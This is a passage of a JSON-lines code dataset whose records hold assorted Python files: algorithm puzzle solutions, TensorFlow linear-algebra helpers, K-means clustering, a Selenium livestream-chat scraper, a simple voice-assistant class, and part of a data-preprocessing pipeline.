\"yjgpzbezspnnpszebzmhvp\"))\n","repo_name":"eronekogin/leetcode","sub_path":"2022/split_two_strings_to_make_palindrome.py","file_name":"split_two_strings_to_make_palindrome.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"803781898","text":"from math import *\nfrom itertools import *\n\n# If x^2 ends with a '0', then x must end with '0'. Thus, I am ignoring the\n# requirement for the last 0, and I will multiply the result by 10.\n\ngoodDigits = list(range(1,10))\n\ndef valid(x):\n for i in range(9):\n if (x % 10) != goodDigits[-1-i]:\n return False\n x = x // 100\n return True\n\n# Since every digit is in the range 0..9, x must lie in the range:\nprint(next(10*x for x in range(floor(sqrt(10203040506070809)),1+ceil(sqrt(19293949596979899))) if valid(x*x)))\n","repo_name":"fonsp/project-euler","sub_path":"Problem 206/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"32567003253","text":"import tensorflow as tf\n\n\n# Matrix square root using the Newton-Schulz method\ndef sqrt_newton_schulz(A, iterations=15, dtype='float64'):\n dim = A.shape[0]\n normA = tf.norm(A)\n Y = tf.divide(A, normA)\n I = tf.eye(dim, dtype=dtype)\n Z = tf.eye(dim, dtype=dtype)\n for i in range(iterations):\n T = 0.5 * (3.0 * I - Z @ Y)\n Y = Y @ T\n Z = T @ Z\n sqrtA = Y * tf.sqrt(normA)\n return sqrtA\n\n\n# Matrix square root using the eigenvalue decompostion\ndef matrix_sqrt_eigen(mat):\n eig_val, eig_vec = tf.linalg.eigh(mat)\n diagonal = tf.linalg.diag(tf.pow(eig_val, 0.5))\n mat_sqrt = tf.matmul(diagonal, tf.transpose(eig_vec))\n mat_sqrt = tf.matmul(eig_vec, mat_sqrt)\n return mat_sqrt\n\n\n# Calculates the error, as the absolute difference in norms of a matrix A and the reconstructed A = Asqrt @ Asqrt\ndef error(Asqrt, A):\n Ar = Asqrt @ Asqrt\n return tf.abs(tf.linalg.norm(Ar) - tf.linalg.norm(A))\n\n\n# mean-square-and-cross-product) matrix\ndef MSCP_matrix(A):\n n = A.shape[0]\n if A.dtype == 'float64':\n n = tf.cast(n, tf.float64)\n C = (tf.transpose(A) @ A) / n\n return C\n\ndef scatter_matrix(A):\n A = A - tf.ones(shape=(A.shape[0], 1), dtype=A.dtype) @ tf.math.reduce_mean(A, axis=0, keepdims=True)\n C = tf.transpose(A) @ A\n return C\n\n# covariance matrix = scatter matrix / (n-1)\ndef covariance_matrix(A):\n n = A.shape[0]\n if A.dtype == 'float64':\n n = tf.cast(n, tf.float64)\n C = scatter_matrix(A) / (n-1)\n return C\n\ndef correlation_matrix(A):\n n = A.shape[0]\n if A.dtype == 'float64':\n n = tf.cast(n, tf.float64)\n A = A - tf.ones(shape=(n, 1), dtype=A.dtype) @ tf.math.reduce_mean(A, axis=0, keepdims=True)\n A = A / (tf.ones(shape=(n, 1), dtype=A.dtype) @ tf.math.reduce_std(A, axis=0, keepdims=True))\n C = (tf.transpose(A) @ A) / n\n return C\n\ndef cosine_similarity_matrix(A):\n A = tf.nn.l2_normalize(A, 0)\n C = tf.transpose(A) @ A\n return C\n\ndef centered_unit_circle_projected_matrix(A):\n n = A.shape[0]\n if A.dtype == 'float64':\n n = tf.cast(n, tf.float64)\n A = A - tf.ones(shape=(n, 1), dtype=A.dtype) @ tf.math.reduce_mean(A, axis=0, keepdims=True)\n A = tf.nn.l2_normalize(A, 1)\n C = tf.transpose(A) @ A\n return C","repo_name":"hannesdm/The-Bures-Metric-for-Generative-Adversarial-Networks","sub_path":"lib/linalg.py","file_name":"linalg.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"9242056440","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n# data-analysis\n# Kmeans.py\n\n\"\"\"\n Description: K均值做聚类算法\n author : zhangjingbo \n Date: 2018/12/27\n\"\"\"\nimport matplotlib.pylab as plt\nimport numpy as np\nimport random\nimport math\n\n\ndef file2Arr(filename='testSet.txt'):\n \"\"\"\n 读取文件内容,转化为arr\n \"\"\"\n with open(filename, 'r') as f:\n dataArr = []\n for line in f:\n lineArr = []\n for lineStr in line.rstrip('\\n').split('\\t'):\n lineArr.append(float(lineStr))\n dataArr.append(lineArr)\n return dataArr\n\n\ndef arrPlot(dataArr, labelVect, K):\n \"\"\"\n 画出数据点,观察数据特征\n :param dataArr: 数组数据\n \"\"\"\n plt.figure(1)\n plt.xlabel('x1')\n plt.ylabel('x2')\n dataMat = np.mat(dataArr)\n colors = ['b', 'g', 'r', 'orange']\n colorVect = []\n for value in labelVect:\n colorVect.append(colors[int(value)])\n plt.scatter(dataMat[:, 0].flatten().A[0], dataMat[:, 1].flatten().A[0], c=colorVect)\n plt.show()\n\n\ndef distEclud(vecA, vecB):\n \"\"\"\n 计算距离\n :type vecA:\n \"\"\"\n return np.sqrt(np.power(vecA - vecB, 2).sum()) # la.norm(vecA-vecB)\n\n\ndef randCent(dataArr, k):\n dataSet = np.mat(dataArr)\n n = dataSet.shape[1]\n centroids = np.mat(np.zeros((k, n))) # create centroid mat\n for j in range(n): # create random cluster centers, within bounds of each dimension\n minJ = min(dataSet[:, j])\n rangeJ = float(max(dataSet[:, j]) - minJ)\n for l in range(k):\n centroids[l, j] = np.mat(minJ + rangeJ * random.random())\n return centroids\n\n\ndef kmeansAlgthm(dataArr, muArr):\n \"\"\"\n 原型聚类算法\n :param dataArr: 数据集\n :param muArr: 随机中心\n \"\"\"\n dataSet = np.mat(dataArr)\n m, n = dataSet.shape\n K = muArr.shape[0]\n clusterAssment = np.zeros((m, 2))\n clusterChanged = True\n while clusterChanged:\n clusterChanged = False\n for i in range(m):\n vectA = dataSet[i, :]\n minDist = math.inf\n minIndex = -1\n for j in range(K):\n vectB = muArr[j, :]\n dist = distEclud(vectA, vectB)\n if dist < minDist:\n minDist = dist\n minIndex = j\n if clusterAssment[i, 0] != minIndex:\n clusterChanged = True\n clusterAssment[i, :] = minIndex, minDist\n for cent in range(K):\n K_cluster_points = dataSet[np.nonzero(clusterAssment[:, 0] == cent)[0]]\n muArr[cent] = np.mean(K_cluster_points, axis=0)\n return muArr, clusterAssment\n\n\nK = 3\ndataArr = file2Arr('testSet2.txt')\ncens = randCent(dataArr, K)\nmuArr, clusterAssment = kmeansAlgthm(dataArr, cens)\nprint(muArr)\nlabelVect = clusterAssment[:, 0]\narrPlot(dataArr, labelVect, K)\n","repo_name":"GibZhang/ml-practice","sub_path":"Kmeans/Kmeans.py","file_name":"Kmeans.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27432191365","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 19 05:12:23 2020\n\n@author: jiechi\n\"\"\"\n\nimport time\nfrom selenium import webdriver\nfrom datetime import datetime\nfrom pytz import timezone, utc\nimport logging\nfrom pathlib import Path\nimport pickle\nfrom bs4 import BeautifulSoup\nfrom PIL import Image\nimport mxnet as mx\nfrom cnocr import CnOcr\nimport cv2 as cv\nimport os\nimport json\nimport re\nfrom collections import defaultdict\nimport random \nfrom selenium.webdriver.firefox.options import Options\nimport sched, time\n\n\n \n\ndef customTime(*args):\n utc_dt = utc.localize(datetime.utcnow())\n china_tz = timezone('Asia/Shanghai')\n converted = utc_dt.astimezone(china_tz)\n return converted.timetuple()\n\ndef logger_setup(debug):\n #setup logger and with china time zone\n \n now = datetime.now()\n today = now.strftime(\"%Y_%m_%d\")\n if debug:\n folder = \"./lottery_debug\"\n else:\n folder = \"./lottery\"\n Path(folder).mkdir(parents=True, exist_ok=True)\n if Path(folder+\"/msg.%s_0.txt\"%today).is_file():\n flist = sorted(Path(folder).iterdir(), key=os.path.getmtime)\n filename =folder+ \"/msg.%s_\"%today + str(int(flist[-1].name.split('_')[-1].split('.')[0])+1)+'.txt'\n print(filename)\n else:\n filename = folder+ \"/msg.%s_0.txt\"%today\n\n logger = logging.getLogger(__name__) \n if debug:\n logger.disabled = True\n logger.setLevel(logging.INFO)\n\n # define file handler and set formatter\n file_handler = logging.FileHandler(filename,encoding='utf-8')\n logging.Formatter.converter = customTime\n formatter = logging.Formatter('%(asctime)s : %(message)s',\"%H:%M:%S\")\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n return logger\n\n\n\n\nclass huya_info:\n def __init__ (self, room_id='97796', msg=False, debug=True, headless=False):\n #autoplay doesn't work here.\n profile = webdriver.FirefoxProfile()\n options = Options()\n options.headless = headless\n profile.set_preference(\"media.autoplay.enabled\", True)\n self.driver = webdriver.Firefox(options=options,firefox_profile=profile)\n self.driver.maximize_window()\n self.room_id = room_id\n self.live_count = 0\n self.vip_count = 0\n self.msg = msg\n self.soup = BeautifulSoup()\n self.logger = logger_setup(debug)\n with open('gift_price.txt') as json_file:\n self.gift_prices = json.load(json_file)\n \n \n def lottery_log (self, autoreply=True):\n self.driver.get('https://www.huya.com/'+self.room_id)\n print(\"已成功连接房间 : %s\"%self.room_id)\n self.logger.info(\"已成功连接房间 : %s\"%self.room_id)\n id_list=[]\n live_close=True\n\n while (live_close):\n try:\n #the easiest way to check if the live is on\n soup1 = BeautifulSoup(self.driver.page_source,features=\"lxml\")\n print('soup')\n vip_count = soup1.findAll(\"span\", {\"class\": \"room-weeklyRankList-nav-item J_rankTabVip\"})[0].text\n print('vip_count')\n\n live_close=False\n except:\n print('直播未开始或房间连接失败')\n time.sleep(60)\n self.driver.refresh()\n while (not live_close):\n self.soup = BeautifulSoup(self.driver.page_source,features=\"lxml\")\n \n #self.send_msg (msg+emoji*3)\n #document what people usually say when watching livestream\n# data_list = self.soup.findAll(\"div\", {\"class\": \"msg-onTVLottery\"})+self.soup.findAll(\"div\", {\"class\": re.compile(\"msg-sys\")})\n data_list = self.soup.findAll(\"li\", {\"class\": re.compile(\"J_msg\")})\n \n for i in data_list:\n if not i['data-id'] in id_list:\n id_list.append(i['data-id'])\n \n if i.find(\"div\", {\"class\": \"msg-onTVLottery\"}):\n user_name = i.find('span',{'class':'name J_userMenu'}).text\n msg = i.find('span',{'class':'msg'}).text\n self.logger.info(\"user: %s; msg: %s\"%(user_name,msg))\n print(\"user: %s; msg: %s\"%(user_name,msg))\n elif i.find(\"div\", {\"class\": \"msg-sys\"}):\n try:\n \n if i.find('span',{'class':'msg-sys-admin'}).text=='上电视公告':\n msg = i.find('span',{'class':'msg'}).text\n self.logger.info(\"winner: %s\"%msg)\n print(\"winner: %s\"%msg)\n except:\n pass\n elif i.find(\"div\", {\"class\": re.compile(\"msg-nobleSpeak box-noble-level-*|msg-normal\")}):\n \n id_msg = i.find('span',{'class':'msg'}).text\n if (re.search('下播' , id_msg)) and (i.find('span',{'class':'name J_userMenu'}).text in ['【米粉】仿生猪很自由', '池三斗' ]):\n live_close=True\n \n def login (self):\n time.sleep(2)\n #you can log into your account by loading the cookies\n if Path(\"./cookies.pkl\").is_file():\n cookies = pickle.load(open(\"cookies.pkl\", \"rb\"))\n for cookie in cookies:\n self.driver.add_cookie(cookie)\n self.driver.refresh()\n pickle.dump(self.driver.get_cookies() , open(\"cookies.pkl\",\"wb\"))\n else:\n # the codes here work with password login, but \n # sometimes you have to use huya app to scan the QR code at the first time\n self.driver.find_element_by_id(\"nav-login\").click()\n time.sleep(30)\n# self.driver.switch_to.frame(\"UDBSdkLgn_iframe\")\n# time.sleep(10)\n# self.driver.find_element_by_class_name(\"input-login\").click()\n# self.driver.find_element_by_xpath('//div[@class=\"udb-input-item\"]//input[@placeholder=\"手机号/虎牙号\"]').send_keys(\"***\")\n# self.driver.find_element_by_xpath(\"//input[@placeholder='密码']\").send_keys(\"***\")\n \n# self.driver.find_element_by_id(\"login-btn\").click()\n pickle.dump(self.driver.get_cookies() , open(\"cookies.pkl\",\"wb\"))\n def send_msg (self, msg):\n input_text = self.driver.find_element_by_id('pub_msg_input')\n input_text.send_keys(msg)\n# time.sleep(1)\n send_btn = self.driver.find_element_by_id('msg_send_bt')\n send_btn.click()\n #if send is not allowed, the msg will be cleared\n self.driver.find_element_by_id('pub_msg_input').clear()\n time.sleep(2)\n def send_msg2 (self, msg):\n JS_ADD_TEXT_TO_INPUT = \"\"\"\n var elm = arguments[0], txt = arguments[1];\n elm.value += txt;\n elm.dispatchEvent(new Event('change'));\n \"\"\"\n #punch emoji\n text = u'\\ud83d\\udc4a'\n \n input_text = self.driver.find_element_by_id('pub_msg_input')\n self.driver.execute_script(JS_ADD_TEXT_TO_INPUT, input_text, text)\n input_text.send_keys('[猪头]')\n# time.sleep(1)\n self.driver.execute_script(JS_ADD_TEXT_TO_INPUT, input_text, text)\n send_btn = self.driver.find_element_by_id('msg_send_bt')\n send_btn.click()\n #if send is not allowed, the msg will be cleared\n self.driver.find_element_by_id('pub_msg_input').clear()\n def run (self):\n self.driver.get('https://www.huya.com/'+self.room_id)\n print(\"已成功连接房间 : %s\"%self.room_id)\n self.logger.info(\"已成功连接房间 : %s\"%self.room_id)\n #the alphabet set we need\n# ocr1 = CnOcr(cand_alphabet=['0','1','2','3','4','5','6','7','8','9','淘','汰','剩','余'])\n# self.login()\n# gameinfo = '[无淘汰数据]'\n live_close=False\n id_list=[]\n while (not live_close):\n time.sleep(10)\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n print(\"Current Time =\", current_time)\n self.soup = BeautifulSoup(self.driver.page_source,features=\"lxml\")\n \n data_list = self.soup.findAll(\"li\", {\"class\": re.compile(\"J_msg\")})\n \n for i in data_list:\n if not i['data-id'] in id_list:\n id_list.append(i['data-id'])\n if i.find(\"div\", {\"class\": re.compile(\"msg-nobleSpeak box-noble-level-*|msg-normal\")}):\n \n id_msg = i.find('span',{'class':'msg'}).text\n \n if (re.search('下播' , id_msg)) and (i.find('span',{'class':'name J_userMenu'}).text in ['【米粉】仿生猪很自由', '池三斗' ]):\n live_close=True\n if self.msg and self.gift_info()[0]:\n try:\n self.send_msg()\n except:\n try:\n self.login()\n except:\n print('无法发送弹幕,请检查是否登陆成功')\n try:\n\n self.live_count = self.soup.findAll(\"em\", {\"id\": \"live-count\"})[0].text\n self.vip_count = self.soup.findAll(\"span\", {\"class\": \"room-weeklyRankList-nav-item J_rankTabVip\"})[0].text\n self.vip_count = self.vip_count.split('(')[1][:-1]\n\n# gameinfo = self.get_numofkill(ocr1)\n print(\"[人气值 : %s]\"%self.live_count)\n self.logger.info(\"[人气值 : %s]\"%self.live_count+\"[贵宾数 : %s]\"%self.vip_count)\n# self.logger.info(\"[人气值 : %s]\"%self.live_count+\"[贵宾数 : %s]\"%self.vip_count+gameinfo)\n print(\"[贵宾数 : %s]\"%self.vip_count)\n# print(gameinfo)\n \n except:\n print('直播未开始或房间连接失败')\n time.sleep(60)\n self.driver.refresh()\n \n \nif __name__ == '__main__':\n end_dt = datetime.strptime(time.strftime(\"11:0:0\"), '%H:%M:%S')\n now = datetime.now()\n a = customTime(now) \n start_dt = datetime.strptime(time.strftime('%H:%M:%S', a), '%H:%M:%S')\n if (end_dt - start_dt).total_seconds() > 0:\n time.sleep((end_dt - start_dt).total_seconds())\n huya = huya_info(room_id = '97796', msg = False, debug = False)\n #huya.run()\n huya.lottery_log()\n huya.driver.close()\n","repo_name":"JIE-CHI/huya_scraper","sub_path":"run_lottery.py","file_name":"run_lottery.py","file_ext":"py","file_size_in_byte":10706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72685496864","text":"from typing import List\nfrom collections import Counter\n\n\nclass Solution:\n def partitionLabels(self, S: str) -> List[int]:\n last_pos_dict = {\n char: S.rindex(char)\n for char in S\n }\n left_most = 0\n answer = []\n while left_most < len(S):\n char = S[left_most]\n right_most = last_pos_dict[char]\n i = left_most + 1\n while i < right_most:\n right_most = max(right_most, last_pos_dict[S[i]])\n i += 1\n answer.append(right_most - left_most + 1)\n left_most = right_most + 1\n\n return answer\n\n# Runtime: 48 ms, faster than 47.79% of Python3 online submissions for Partition Labels.\n# Memory Usage: 13.8 MB, less than 57.92% of Python3 online submissions for Partition Labels.\n","repo_name":"daviddwlee84/LeetCode","sub_path":"Python3/String/PartitionLabels/Naive763.py","file_name":"Naive763.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"2259991817","text":"import json\n\nfrom os import path\n\nfrom brain.listener import Listener\nfrom computer.computer import Computer\nfrom utilities.logger import Logger\nfrom utilities.speech_utils import say\n\nlogger = Logger()\n\n\nclass Jarvis:\n def __init__(self):\n self.pc = Computer()\n self.listener = Listener()\n self.should_run = True\n self._refresh_knowledge()\n say('I am ready')\n\n def start(self):\n while self.should_run:\n self.serve()\n\n def serve(self):\n text = self.listen_process()\n if text:\n for known_task in self.knowledge['data']:\n if all(keyword.lower() in text.lower() for keyword in known_task['keywords']):\n method_to_call = getattr(self.pc, known_task['todo']['func'])\n say(known_task['say'])\n method_to_call(*tuple(arg for arg in known_task['todo']['args']))\n return\n say('Im sorry, but I dont know how to do that.')\n self.learn()\n\n def learn(self):\n say('Would you like me to learn?')\n answer = self.listen_process()\n if 'yes' in answer.lower():\n say('What are the keywords for this task? seperate them with a coma and space')\n keywords = self.listen_process().split(', ')\n say('What should I say?')\n what_to_say = self.listen_process()\n say('What func should I use?')\n func_name = self.listen_process()\n say('Arguments? insert them with coma and space')\n args = self.listen_process().split(', ')\n self._write_ability_to_file(keywords, func_name, args, what_to_say)\n\n def _write_ability_to_file(self, keywords, func_name, args, what_to_say):\n with open(path.dirname(__file__) + '/knowledge.json') as f:\n abilities = json.load(f)\n new_ability = {\"keywords\": keywords, \"todo\": {\"func\": func_name, \"args\": args}, \"say\": what_to_say}\n abilities['data'].append(new_ability)\n with open(path.dirname(__file__) + '/knowledge.json', 'w') as f:\n json.dump(abilities, f)\n self._refresh_knowledge()\n say('done')\n\n def _refresh_knowledge(self):\n with open(path.dirname(__file__) + '/knowledge.json') as f:\n self.knowledge = json.load(f)\n\n def stop(self):\n self.should_run = False\n say('shutting down')\n\n def listen_process(self):\n while True:\n text = self.listener.get_cli_input()\n if 'down' in text.lower() and 'jarvis' in text.lower() and 'shut' in text.lower():\n self.stop()\n break\n else:\n return text\n","repo_name":"Tomer-Ezon/Jarvis","sub_path":"brain/jarvis.py","file_name":"jarvis.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1402048744","text":"import json\nfrom pandas.io.json import json_normalize\nfrom src.data.fetch_trend_data_utils import display_max_cols, save_dictionary_to_csv\n\ndisplay_max_cols(10)\njfile = \"/home/randilu/fyp_impact analysis module/impact_analysis_module/data/external/events/KV_PLC.json\"\nwith open(jfile, 'r') as f:\n jdata = json.load(f)\n\nevents = jdata['events']\nevents_df = json_normalize(events)\n# print(events_df)\nevents_df.columns = events_df.columns.map(lambda x: x.split(\".\")[-1])\n# print(events_df)\n# events_df = events_df.groupby(events_df.columns, axis=1)\n\n# new = events_df[['date', 'event']]\n# # new.groupby(new.columns, axis=1).apply(lambda x: x.apply(lambda y: ','.join([l for l in y if l is not None]), axis=1))\n# print(new)\n\ns = events_df.melt('date')\ns['Key'] = s.groupby(['variable', 'date']).cumcount()\ndf1 = s.pivot_table(index=['date', 'Key'], columns='variable', values=['value'], aggfunc='first')\ndf1.columns = df1.columns.droplevel()\ndf1 = df1.reset_index()\ndf1.columns = df1.columns.tolist()\n# print(df1)\nevents = df1[['event', 'keyword_1']]\nevents.drop_duplicates(subset='keyword_1', keep=\"last\", inplace=True)\nevents.reset_index(drop=True, inplace=True)\nevents.to_csv(\n '/home/randilu/fyp_impact analysis module/impact_analysis_module/src/data/dictionaries/event_dictionary.csv',\n sep=',', encoding='utf-8', index=False)\nprint(events)\n\n#\n# create dictionary of keywords and event\n#\n\nevents_dictionary = events.set_index('keyword_1').to_dict(orient=\"index\")\nprint(events_dictionary.get('activism'))\n\n# save the dictionary to csv\nsave_dictionary_to_csv(events_dictionary,\n '/home/randilu/fyp_impact analysis module/impact_analysis_module/src/data/dictionaries/events_dic.csv')\n\n\ndf_of_kw_sent = df1[['keyword_1', 'sentiment']]\ndf_of_kw_sent.drop_duplicates(subset='keyword_1', keep=\"last\", inplace=True)\ndf_of_kw_sent.reset_index(drop=True, inplace=True)\ndf_of_kw_sent['sentiment'] = df_of_kw_sent['sentiment'].apply(lambda x: round(x, 0))\ndf_of_kw_sent = df_of_kw_sent[df_of_kw_sent.sentiment != 0.0]\ndf_of_kw_sent.reset_index(drop=True, inplace=True)\nprint(df_of_kw_sent)\nkw_sent_list = []\n\nfor row in df_of_kw_sent.iterrows():\n index, data = row\n kw_sent_list.append(data.tolist())\n# kw = df_of_kw_sent.apply(lambda x: x.tolist(), axis=1)\n# kw_plus_sentiment = kw.apply(lambda x: x.tolist(), axis=1)\n\nprint(kw_sent_list)\n\n# new_df = df[['keyword', 'sentiment']]\n# print(new_df)\n","repo_name":"randilu/Impact-Analysis-Module-codebase","sub_path":"src/data/fetch_kw_format1.py","file_name":"fetch_kw_format1.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36709033117","text":"#\n# @lc app=leetcode.cn id=85 lang=python3\n#\n# [85] 最大矩形\n#\n\n# @lc code=start\nclass Solution:\n def maximalRectangle(self, matrix: List[List[str]]) -> int:\n heights = list(map(lambda x: int(x), matrix[0]))\n res = self.largerstArea(heights)\n for i in range(1, len(matrix)):\n for j in range(len(matrix[0])):\n if matrix[i][j] == '1':\n heights[j] += 1\n else:\n heights[j] = 0\n print(heights)\n res = max(res, self.largerstArea(heights))\n return res\n\n def largerstArea(self, heights):\n m = len(heights)\n stack = [-1]\n res = 0\n for i in range(m):\n while stack[-1] != -1 and heights[stack[-1]] >= heights[i]:\n cur = stack.pop()\n res = max(res, (i-stack[-1]-1)*heights[cur])\n stack.append(i)\n while stack[-1] != -1:\n cur = stack.pop()\n res = max(res, (m-stack[-1]-1)*heights[cur])\n return res\n# @lc code=end\n\n","repo_name":"yang-jin-hai/.leetcode","sub_path":"85.最大矩形.py","file_name":"85.最大矩形.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72348725024","text":"import os\nfrom os.path import join\nfrom os import path\nfrom functools import partial\nimport logging\n\nfrom joblib import Parallel, delayed\nimport pandas as pd\nimport click\nimport numpy as np\nfrom tqdm import tqdm\n\nimport mergetelescopes as mt\nimport csv2hdf5 as cth\nimport normalisation as norm\nfrom merge_wrapper import merge_wrapper\nfrom magicnn.parallel_apply_model import parallel_applymodel\nfrom adjust_energy import adjust_multiple_files\n\nlogging.basicConfig(level=logging.INFO, format='%(name)s - %(asctime)s - %(levelname)s - %(message)s', datefmt='%D:%H:%M:%S', )\n# logger = logging.getLogger('processing').setLevel(logging.WARNING)\nlogger = logging.getLogger(__name__)\n\nyecho = partial(click.secho, fg=\"yellow\")\nPREFIX = \"eventfiltered_201\"\nSCRIPTDIR = join(path.dirname(__file__), \"\")\nPIXELNORMFNAME = \"./pixelwise_norm.txt\"\n\nHDF = \".hdf5\"\nCSV = \".csv\"\nM1MC = \"GA_*_M1_*\"\nM2MC = \"GA_*_M2_*\"\nM1DATA = \"*201*_M1_*\"\nM2DATA = \"*201*_M2_*\"\nM12DATA = \"*201*_M[12]_*\"\nM1 = \"*_M1_*\"\nM2 = \"*_M2_*\"\nM12 = \"*_M[12]_*\"\n\nDIRECTORIES = [\"csv/\", \"hdf5/\", \"hdfmerged/\",\n \"telmerged/\", \"normalized/\", \"nnenergies/\"]\nSUBDIR = \"filtered/\"\n# SUBDIR = \"\"\nDIRECTORIES = [directory+SUBDIR for directory in DIRECTORIES]\n\n# also probably advisable to add a subdir option so everything get processed in csv/subdir/, telmerged/subdir/, so everything is still tidy when doing A/B testing for analyses\n\n# example that shows how to do preprocessing using the functions\n\ndef flatten(outfilenames):\n outfilenames = np.array(outfilenames)\n listmask = [isinstance(outfile, (np.ndarray, list))\n for outfile in outfilenames]\n normalfiles = outfilenames[~listmask].tolist()\n filelists = outfilenames[listmask]\n filelist = [f for files in filelists for f in files]\n normalfiles.extend(filelist)\n return np.array(normalfiles)\n\ndef splitfiles(files):\n filenamesM1 = [f for f in files if \"_M1_\" in path.basename(f)]\n filenamesM2 = [f for f in files if \"_M2_\" in path.basename(f)]\n cth.check_for_equality(filenamesM1, filenamesM2)\n return filenamesM1, filenamesM2\n\n\nclass GeneralPreprocessing():\n\n def __init__(self, **args):\n self.rootdir = args.pop(\"rootdir\")\n self.root2csv = args.pop(\"root2csv\")\n self.csv2hdf5 = args.pop(\"csv2hdf5\")\n self.mergehdf5 = args.pop(\"mergehdf5\")\n self.mergetelescopes = args.pop(\"mergetelescopes\")\n self.normalize = args.pop(\"normalize\")\n self.normfile = args.pop(\"normfile\")\n if self.normfile is None:\n self.normfile = \"\"\n self.tillend = args.pop(\"tillend\")\n self.cleanup = args.pop(\"cleanup\")\n self.entrypoint = args.pop(\"entrypoint\")-1\n self.handleenergies = args.pop(\"handleenergies\")\n self.modelpath = args.pop(\"modelpath\")\n self.subdir = args.pop(\"subdir\")\n if self.subdir == \"\":\n self.subdir = SUBDIR\n self.processingsteps = [self.csv2hdf5, self.mergehdf5,\n self.mergetelescopes, self.normalize]\n yecho(f\"rootdir: {self.rootdir}\")\n self.__currentfiles = self.setup_currentfiles(args.pop(\"startglob\", None)) # no globstr implementation for now\n # if currfilesglob is None:\n # self.currentfiles = None\n # else:\n # self.currentfiles = cth.glob_and_check(currfilesglob)\n # self.previousfiles = None\n\n if self.normalize == 'False':\n self.normalize = False\n elif self.normalize == 'True':\n self.normalize = True\n\n allTrue = ((self.rootdir and self.csv2hdf5 and self.mergehdf5) is True)\n if allTrue and (self.normalize is not False):\n logger.info(\"Doing every step.\")\n else:\n logger.info(self.__dict__)\n # if self.doAll:\n # for flag in self.__dict__:\n # if type(self.__dict__[flag]) == bool:\n # self.__dict__[flag] = True\n if self.tillend:\n # find first option that is set to True and set all the ones after that to True as well\n pass\n\n @property\n def currentfiles(self):\n return self.__currentfiles[self.entrypoint:]\n\n @currentfiles.getter\n def currentfiles(self):\n if self.__currentfiles is not None:\n return self.__currentfiles[self.entrypoint:]\n else:\n return self.__currentfiles\n\n @currentfiles.setter\n def currentfiles(self, value):\n self.previousfiles = self.__currentfiles\n self.__currentfiles = value\n self._cleanup()\n\n # this is not a valid design pattern\n # actually currentfiles should be a class itself with a proper init method and .M1 and .M2 properties\n def get_currentfiles(self, globstr=None):\n if self.__currentfiles is None:\n logger.warning(f\"No files provided, fallback to globstr for current processing step: {globstr}\")\n if globstr is None :\n logger.error(f\"No globstr provided, fallback to globstr provided during script call: {self.startglob}\")\n raise LookupError(\"No currentfiles and glob is invalid\")\n else:\n self.currentfiles = self._rootdir_glob(globstr)\n elif (globstr == 1) or (globstr == 2):\n return self.split_currentfiles()[globstr-1]\n return self.currentfiles\n\n def setup_currentfiles(self, currfilesglob):\n if currfilesglob is None:\n self.__currentfiles = None\n else:\n self.__currentfiles = cth.glob_and_check(currfilesglob)[self.entrypoint:]\n self._cleanup()\n\n def _rootdir_glob(self, subdir):\n globname = join(self.rootdir, subdir)\n filenames = cth.glob_and_check(globname)\n return sorted(filenames)[self.entrypoint:]\n\n def _cleanup(self):\n if self.cleanup and self.previousfiles:\n for fname in self.previousfiles:\n os.remove(fname)\n self.entrypoint = 0\n\n def setup_dirs(self):\n for newdir in DIRECTORIES:\n os.makedirs(join(self.rootdir, newdir), exist_ok=True)\n logger.info(\"Directory setup done.\")\n\n def split_currentfiles(self):\n if isinstance(self.currentfiles, list):\n filenamesM1, filenamesM2 = splitfiles(self.currentfiles)\n if not len(filenamesM1) == len(filenamesM2):\n raise NotImplementedError(\"currentfiles not split equally into two telescopes, not going to work\")\n return filenamesM1[self.entrypoint:], filenamesM2[self.entrypoint:]\n\n def _generate_normfile(self):\n yecho(\"Generating Normfile.\")\n mergedfile = cth.merge_all_hdf5_files(self.currentfiles,\n outpath=path.dirname(self.currentfiles[0]),\n outFilesize=3*10**10)\n # if len(mergedfile) == 1:\n # mergedfile = mergedfile[0]\n # normfile = norm.generate_pixelnormfile(mergedfile, opath=self.rootdir)\n # else:\n # raise NotImplementedError(\"Generating normfiles from multiple merged files is not implemented yet. Please merge into one big file.\")\n mergedfile = mergedfile[0]\n normfile = norm.generate_pixelnormfile(mergedfile, opath=self.rootdir)\n yecho(\"Normfile generated.\")\n return normfile\n\n @property\n def normfile(self):\n return self.__normfile\n\n @normfile.getter\n def normfile(self):\n logger.info(self.rootdir)\n if not path.isfile(self.__normfile):\n logger.warning(\"No valid normfile provided ({self.__normfile}). Now looking in rootdir.\")\n self.__normfile = path.join(self.rootdir, PIXELNORMFNAME)\n if not path.isfile(self.__normfile) and (\"GA_\" in self.currentfiles[0]):\n logger.warning(\"No valid normfile ({self.__normfile}) in rootdir.\")\n self.__normfile = self._generate_normfile()\n elif not path.isfile(self.__normfile) and (\"GA_\" not in self.currentfiles[0]):\n raise NotImplementedError(\"no valid MC normfile for normalizing real data\")\n logger.info(self.__normfile)\n return self.__normfile\n\n @normfile.setter\n def normfile(self, value):\n self.__normfile = value\n\n def filter_and_convertroot2csv(self):\n merge_wrapper(processdir=self.rootdir,\n basedir=self.rootdir,\n 